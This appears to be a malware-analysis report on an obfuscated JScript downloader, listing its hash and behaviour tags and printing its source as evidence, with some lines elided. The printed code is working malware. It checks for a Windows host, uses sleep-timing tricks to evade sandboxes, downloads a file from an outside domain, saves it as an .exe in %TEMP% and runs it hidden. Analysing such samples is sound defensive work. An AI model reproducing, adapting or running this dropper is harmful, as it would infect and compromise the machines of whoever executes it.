20160328_a501538f2a2873eac2d6936026a2dd1f.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256dc8345a90513dbb67b654639991887ceced341f012dd12d22e31d17e20ceb0ad
Evidence
1var Xuaozupsbe = false;
2var Eoexy = "CreateObject";
3var Fzywwmgp = function Qjzjdgsjbr() {return WScript[Eoexy]("WScript.Shell");}();
4var Coxuv = 123213;
5var Wvgnolxvf = "MSXML2.XMLHTTP";
6var Sqsiwclleg = 2123213;
7var Ysevplwk = 0;
8function Qllifoiym(Xtrbehabsn){Fzywwmgp["Run"](Xtrbehabsn, Ysevplwk, Ysevplwk);};
9function Etcpqczaxd(){return Wvgnolxvf;};
10function Ardkmpeiy(Arjixuwgb, Xndytquwn){return Arjixuwgb - Xndytquwn;};
11function Cdspug(){return Eoexy;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Xuaozupsbe = true;
15 @end
16@*/
17var Vvkue = "";
18if (Xuaozupsbe)
19{
20function Jwugzzetc(){return 22;};
21var Ilrpuzfvn = 0; var Cvsensu = 0;
22function Mmgae()
23{
24var Teatimu = new this["Date"]();
25var Toounzqmxz = Teatimu["getUTCMilliseconds"]();
26WScript["Sleep"](Jwugzzetc());
27var Teatimu = new this["Date"]();
28var Azqdl = Teatimu["getUTCMilliseconds"]();
29WScript["Sleep"](Jwugzzetc());
30var Teatimu = new this["Date"]();
31var Ytqvaivv = Teatimu["getUTCMilliseconds"]();
32var Ilrpuzfvn = "Pjvbv";
33Ilrpuzfvn = Ardkmpeiy(Azqdl, Toounzqmxz);
34var Cvsensu = "Haedcjeui";
35Cvsensu = Ardkmpeiy(Ytqvaivv, Azqdl);
36Vvkue = "open";
37return Ardkmpeiy(Ilrpuzfvn, Cvsensu);
38}
39var Anuxnwufmq = false;
40var Jqemi = false;
41for (var Ozbihmxdub = Ysevplwk; Ozbihmxdub < Jwugzzetc() * 1; Ozbihmxdub++){if (Mmgae() != Ysevplwk){ …
49:5… Anuxnwufmq && Gemxowc() && Jqemi){
50function Icftwxzn() {return Fzywwmgp["ExpandEnvironmentStrings"]("%TEMP%/") + "QZR9K43K.exe";};
51 Qsqneupug = Etcpqczaxd();
52 Nwnvun = WScript[Eoexy](Qsqneupug);
53 var Fgfrxp = 1;
54 while (Fgfrxp){
55try {
56Nwnvun[Vvkue]("GET", "http://aicuiibf.com/l30woad", false);
57Nwnvun["send"]();
58Qdycqwaa = "Sleep";
59do {WScript[Qdycqwaa](Jwugzzetc() * 11)} while (Nwnvun["readystate"] < 4 );
60Fgfrxp = Ysevplwk;
61} catch(Fqqtpzyxx){Fgfrxp = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Msmazocze(Umgtxz) {var Ecrlyzrwy = (1, 2, 3, 4, 5, Umgtxz); return Ecrlyzrwy;};
64Zlcddybzgf = WScript[Cdspug()]("ADODB.Stream");
65Qsqneupug = Zlcddybzgf;
66Qsqneupug[Vvkue]();
67Qsqneupug["type"] = Msmazocze(1);
68Qsqneupug["write"](Nwnvun["ResponseBody"]);
69Zlcddybzgf["position"] = Msmazocze(Ysevplwk);
70Qsqneupug["SaveToFile"](Icftwxzn(), Msmazocze(2) );
71Zlcddybzgf["close"]();
72Qllifoiym(Icftwxzn());
73}
74}
75